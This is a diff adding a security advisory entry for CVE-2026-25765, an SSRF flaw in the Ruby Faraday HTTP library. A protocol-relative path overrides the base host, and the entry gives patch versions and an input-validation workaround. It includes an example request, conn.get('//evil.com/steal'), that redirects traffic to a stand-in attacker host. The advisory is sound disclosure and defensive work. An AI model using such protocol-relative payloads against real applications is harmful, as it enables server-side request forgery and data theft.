|
| 1 | +--- |
| 2 | +gem: faraday |
| 3 | +cve: 2026-25765 |
| 4 | +ghsa: 33mh-2634-fwr2 |
| 5 | +url: https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2 |
| 6 | +title: Faraday affected by SSRF via protocol-relative URL host |
| 7 | + override in build_exclusive_url |
| 8 | +date: 2026-02-09 |
| 9 | +description: | |
| 10 | + ### Impact |
| 11 | +
|
| 12 | + Faraday's `build_exclusive_url` method (in `lib/faraday/connection.rb`) |
| 13 | + uses Ruby's `URI#merge` to combine the connection's base URL with |
| 14 | + a user-supplied path. Per RFC 3986, protocol-relative URLs |
| 15 | + (e.g. `//evil.com/path`) are treated as network-path references |
| 16 | + that override the base URL's host/authority component. |
| 17 | +
|
| 18 | + This means that if any application passes user-controlled input to |
| 19 | + Faraday's `get()`, `post()`, `build_url()`, or other request |
| 20 | + methods, an attacker can supply a protocol-relative URL like |
| 21 | + `//attacker.com/endpoint` to redirect the request to an |
| 22 | + arbitrary host, enabling Server-Side Request Forgery (SSRF). |
| 23 | +
|
| 24 | + The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts |
| 25 | + URLs starting with `/`, so protocol-relative URLs bypass it entirely. |
| 26 | +
|
| 27 | + **Example** |
| 28 | + ```ruby |
| 29 | + conn = Faraday.new(url: 'https://api.internal.com') |
| 30 | + conn.get('//evil.com/steal') |
| 31 | + # Request is sent to https://evil.com/steal instead of api.internal.com |
| 32 | + ``` |
| 33 | +
|
| 34 | + ### Patches |
| 35 | +
|
| 36 | + Faraday v2.14.1 is patched against this security issue. All |
| 37 | + versions of Faraday up to 2.14.0 are affected. |
| 38 | +
|
| 39 | + ### Workarounds |
| 40 | +
|
| 41 | + **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action |
| 42 | + to mitigate this issue, however should that not be an option |
| 43 | + please continue reading.** |
| 44 | +
|
| 45 | + Applications should validate and sanitize any user-controlled |
| 46 | + input before passing it to Faraday request methods. |
| 47 | + Specifically: |
| 48 | +
|
| 49 | + - Reject or strip input that starts with // followed by a |
| 50 | + non-/ character. |
| 51 | + - Use an allowlist of permitted path prefixes. |
| 52 | + - Alternatively, prepend ./ to all user-supplied paths before |
| 53 | + passing them to Faraday. |
| 54 | +
|
| 55 | + Example validation: |
| 56 | + ```ruby |
| 57 | + def safe_path(user_input) |
| 58 | + raise ArgumentError, "Invalid path" if user_input.match?(r{\A//[^/]}) |
| 59 | + user_input |
| 60 | + end |
| 61 | + ``` |
| 62 | +cvss_v3: 5.8 |
| 63 | +patched_versions: |
| 64 | + - ">= 2.14.1" |
| 65 | +related: |
| 66 | + url: |
| 67 | + - https://nvd.nist.gov/vuln/detail/CVE-2026-25765 |
| 68 | + - https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2 |
| 69 | + - https://github.com/lostisland/faraday/releases/tag/v2.14.1 |
| 70 | + - https://github.com/lostisland/faraday/pull/1569 |
| 71 | + - https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc |
| 72 | + - https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2 |
| 73 | + - https://www.rfc-editor.org/rfc/rfc3986#section-5.4 |
| 74 | + - https://advisories.gitlab.com/pkg/gem/faraday/CVE-2026-25765 |
| 75 | + - https://github.com/advisories/GHSA-33mh-2634-fwr2 |
0 commit comments